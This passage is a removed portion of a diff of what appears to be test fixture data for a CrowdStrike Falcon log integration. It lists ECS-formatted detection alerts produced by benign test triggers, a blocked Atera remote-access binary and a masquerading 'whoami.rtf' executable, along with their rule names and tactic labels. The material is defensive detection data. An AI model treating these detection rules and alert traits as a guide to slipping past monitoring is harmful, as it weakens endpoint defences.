-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10197",
-                    "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
-                    "Severity": 30,
-                    "SeverityName": "Low",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "cccccccccccccccccccccccccccccccc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1532939,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-03-21T19:07:20.000Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532939,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584040000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742583971,\"ProcessEndTime\":1742583972,\"ProcessId\":43185188660,\"ParentProcessId\":43146803382,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"For evaluation only - benign, no action needed.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"CommandLine\":\"choice  /m crowdstrike_sample_detection\",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-0c-29-46-56-09\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionValue\":0,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"cmd.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"HostGroups\":\"88888888888888888888888888888888\",\"PatternId\":10197,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42952716106\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"LocalIPv6\":\"\"}}",
-                "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43185188660-10197-561424?_cid=cccccccccccccccccccccccccccccccc",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "00000000000000000000000000000000",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
-                },
-                "name": "choice.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe"
-            },
-            "host": {
-                "domain": "CISO-DUMMY-CSDEV",
-                "name": "CISO-DUMMY-CSDEV"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "choice",
-                    "/m",
-                    "crowdstrike_sample_detection"
-                ],
-                "command_line": "choice  /m crowdstrike_sample_detection",
-                "end": "2025-03-21T19:06:12.000Z",
-                "entity_id": "43185188660",
-                "executable": "choice",
-                "name": "choice.exe",
-                "parent": {
-                    "args": [
-                        "\"C:\\Windows\\system32\\cmd.exe\""
-                    ],
-                    "command_line": "\"C:\\Windows\\system32\\cmd.exe\"",
-                    "entity_id": "43146803382",
-                    "executable": "\"C:\\Windows\\system32\\cmd.exe\"",
-                    "pid": 43146803382
-                },
-                "pid": 43185188660,
-                "start": "2025-03-21T19:06:11.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "0000000000000000000000000000000000000000000000000000000000000000",
-                    "00000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "CISO-DUMMY-CSDEV"
-                ],
-                "ip": [
-                    "192.168.33.133"
-                ],
-                "user": [
-                    "Administrator"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "192.168.33.133"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Malicious File"
-                    ]
-                }
-            },
-            "user": {
-                "name": "Administrator"
-            }
-        },
-        {
-            "@timestamp": "2025-03-21T19:10:02.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054",
-                    "AssociatedFile": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe",
-                    "CompositeId": "cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080",
-                    "DataDomains": "Endpoint",
-                    "Description": "A process triggered a high severity custom rule.",
-                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-                    "GrandparentImageFileName": "userinit.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe",
-                    "HostGroups": [
-                        "88888888888888888888888888888888"
-                    ],
-                    "IOARuleGroupName": "Custom IOA Group - Windows",
-                    "IOARuleInstanceID": "167",
-                    "IOARuleInstanceVersion": 2,
-                    "IOARuleName": "Initial Access via Remote Service (Atera) Block",
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "0000000000000000000000000000000000000000000000000000000000000000",
-                    "MACAddress": "00-ff-12-46-56-09",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "explorer.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 2048,
-                    "PatternId": "41001",
-                    "SensorId": "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee",
-                    "Severity": 70,
-                    "SeverityName": "High",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "cccccccccccccccccccccccccccccccc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 1532956,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Prevention, process was blocked from execution.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-03-21T19:10:02.000Z",
-                "kind": "alert",
-                "original": "{\"metadata\":{\"customerIDString\":\"cccccccccccccccccccccccccccccccc\",\"offset\":1532956,\"eventType\":\"EppDetectionSummaryEvent\",\"eventCreationTime\":1742584202000,\"version\":\"1.0\"},\"event\":{\"ProcessStartTime\":1742584138,\"ProcessEndTime\":1742584138,\"ProcessId\":43186863960,\"ParentProcessId\":43046029968,\"Hostname\":\"CISO-DUMMY-CSDEV\",\"UserName\":\"Administrator\",\"Name\":\"Suspicious Activity\",\"Description\":\"A process triggered a high severity custom rule.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"atera.exe.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"CommandLine\":\"\\\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\\\" \",\"SHA256String\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"MD5String\":\"00000000000000000000000000000000\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"CISO-DUMMY-CSDEV\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc\",\"AgentId\":\"eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"0000000000000000000000000000000000000000000000000000000000000000\",\"CompositeId\":\"cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080\",\"LocalIP\":\"192.168.33.133\",\"MACAddress\":\"00-ff-12-46-56-09\",\"Tactic\":\"Custom Intelligence\",\"Technique\":\"Indicator of Attack\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false,\"ContainmentFileSystem\":false},\"ParentImageFileName\":\"explorer.exe\",\"ParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"userinit.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"IOARuleInstanceID\":\"167\",\"IOARuleInstanceVersion\":2,\"IOARuleName\":\"Initial Access via Remote Service (Atera) Block\",\"IOARuleGroupName\":\"Custom IOA Group - Windows\",\"HostGroups\":\"88888888888888888888888888888888\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume4\\\\Users\\\\Administrator\\\\Desktop\\\\atera.exe.exe\",\"PatternId\":41001,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:42953194054\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\userinit.exe\",\"LocalIPv6\":\"\"}}",
-                "reference": "https://falcon.crowdstrike.com/activity-v2/detections/cccccccccccccccccccccccccccccccc:ind:eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee:43186863960-41001-568080?_cid=cccccccccccccccccccccccccccccccc",
-                "severity": 73,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "00000000000000000000000000000000",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "0000000000000000000000000000000000000000000000000000000000000000"
-                },
-                "name": "atera.exe.exe",
-                "path": "\\Device\\HarddiskVolume4\\Users\\Administrator\\Desktop\\atera.exe.exe"
-            },
-            "host": {
-                "domain": "CISO-DUMMY-CSDEV",
-                "name": "CISO-DUMMY-CSDEV"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\""
-                ],
-                "command_line": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"",
-                "end": "2025-03-21T19:08:58.000Z",
-                "entity_id": "43186863960",
-                "executable": "\"C:\\Users\\Administrator\\Desktop\\atera.exe.exe\"",
-                "name": "atera.exe.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\Explorer.EXE"
-                    ],
-                    "command_line": "C:\\Windows\\Explorer.EXE",
-                    "entity_id": "43046029968",
-                    "executable": "C:\\Windows\\Explorer.EXE",
-                    "pid": 43046029968
-                },
-                "pid": 43186863960,
-                "start": "2025-03-21T19:08:58.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "0000000000000000000000000000000000000000000000000000000000000000",
-                    "00000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "CISO-DUMMY-CSDEV"
-                ],
-                "ip": [
-                    "192.168.33.133"
-                ],
-                "user": [
-                    "Administrator"
-                ]
-            },
-            "rule": {
-                "name": "Suspicious Activity"
-            },
-            "source": {
-                "ip": "192.168.33.133"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Custom Intelligence"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Indicator of Attack"
-                    ]
-                }
-            },
-            "user": {
-                "name": "Administrator"
-            }
-        },
-        {
-            "@timestamp": "2025-07-24T10:18:53.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048",
-                    "DataDomains": "Endpoint",
-                    "Description": "Anexecutablewasrunwithacontradictingfileextension",
-                    "GrandparentCommandLine": "sshd:devuser@pts/0",
-                    "GrandparentImageFileName": "sshd",
-                    "GrandparentImageFilePath": "/usr/sbin/sshd",
-                    "MACAddress": "42-01-0a-80-00-18",
-                    "Objective": "KeepAccess",
-                    "ParentImageFileName": "bash",
-                    "ParentImageFilePath": "/usr/bin/bash",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": true,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 272,
-                    "PatternId": "145",
-                    "PlatformId": "3",
-                    "PlatformName": "Linux",
-                    "SensorId": "4ebcabee560d4345b025d6c732656ba9",
-                    "Severity": 50,
-                    "SeverityName": "Medium",
-                    "SourceProducts": "FalconInsight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2092190,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-24T10:18:53.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1753352333000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2092190,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 47,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490"
-                },
-                "name": "whoami.rtf",
-                "path": "/home/devuser/whoami.rtf"
-            },
-            "host": {
-                "name": "navnit-test-instance"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "./whoami.rtf"
-                ],
-                "command_line": "./whoami.rtf",
-                "end": "2025-07-24T10:17:43.000Z",
-                "entity_id": "1753352263802791400",
-                "executable": "./whoami.rtf",
-                "name": "whoami.rtf",
-                "parent": {
-                    "args": [
-                        "-bash"
-                    ],
-                    "command_line": "-bash",
-                    "entity_id": "1753351172854337800",
-                    "executable": "-bash",
-                    "pid": 1753351172854337800
-                },
-                "pid": 1753352263802791400,
-                "start": "2025-07-24T10:17:43.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490",
-                    "3e4129c7bb0c01793aa9ecad38ccb4d0"
-                ],
-                "hosts": [
-                    "navnit-test-instance"
-                ],
-                "ip": [
-                    "10.128.0.24"
-                ],
-                "user": [
-                    "devuser"
-                ]
-            },
-            "rule": {
-                "name": "SuspiciousActivity"
-            },
-            "source": {
-                "ip": "10.128.0.24"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "tactic": {
-                    "name": [
-                        "DefenseEvasion"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Masquerading"
-                    ]
-                }
-            },
-            "user": {
-                "name": "devuser"
-            }
-        },
-        {
-            "@timestamp": "2025-07-15T10:30:48.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42951223180",
-                    "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760",
-                    "DataDomains": "Endpoint",
-                    "Description": "An informational level detection was triggered on this process for testing purposes.",
-                    "GrandparentCommandLine": "cmd  crowdstrike_test_medium",
-                    "GrandparentImageFileName": "cmd.exe",
-                    "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "HostGroups": [
-                        "6b15afc3ea3a42ed810b5c163e490a9d"
-                    ],
-                    "MACAddress": "ba-d0-00-ba-d0-00",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "cmd.exe",
-                    "ParentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "ContainmentFileSystem": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": false,
-                        "ProcessBlocked": false,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternId": "10307",
-                    "PlatformId": "0",
-                    "PlatformName": "Windows",
-                    "SensorId": "cff45d56127743a593792fb968dac907",
-                    "Severity": 10,
-                    "SeverityName": "Informational",
-                    "SourceProducts": "Falcon Insight",
-                    "SourceVendors": "CrowdStrike",
-                    "Type": "ldt"
-                },
-                "metadata": {
-                    "customerIDString": "e880572ce33c42458b31e0dd368497fc",
-                    "eventType": "EppDetectionSummaryEvent",
-                    "offset": 2021281,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, standard detection.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2025-07-15T10:30:48.000Z",
-                "kind": "alert",
-                "original": "{\"event\":{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd  crowdstrike_test_informational\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760\",\"DataDomains\":\"Endpoint\",\"Description\":\"An informational level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"cmd  crowdstrike_test_medium\",\"GrandParentImageFileName\":\"cmd.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"d53f596e5ea7117ac18aae9f9bd8a481\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"cmd  crowdstrike_test_low\",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43450917603,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10307,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43455859437,\"ProcessStartTime\":1752575381,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\"},\"metadata\":{\"customerIDString\":\"e880572ce33c42458b31e0dd368497fc\",\"eventCreationTime\":1752575448000,\"eventType\":\"EppDetectionSummaryEvent\",\"offset\":2021281,\"version\":\"1.0\"}}",
-                "reference": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43455859437-10307-1951760?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "d53f596e5ea7117ac18aae9f9bd8a481",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b2088f2a4a4648dd659ad60169369184a98528aeb7c0766273870b96dd4fa682"
-                },
-                "name": "cmd.exe",
-                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe"
-            },
-            "host": {
-                "domain": "dave-win10-3",
-                "name": "dave-win10-3"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "cmd",
-                    "crowdstrike_test_informational"
-                ],
-                "command_line": "cmd  crowdstrike_test_informational",
-                "entity_id": "43455859437",
-                "executable": "cmd",
-                "name": "cmd.exe",
-                "parent": {
-                    "args": [
-                        "cmd",
-                        "crowdstrike_test_low"
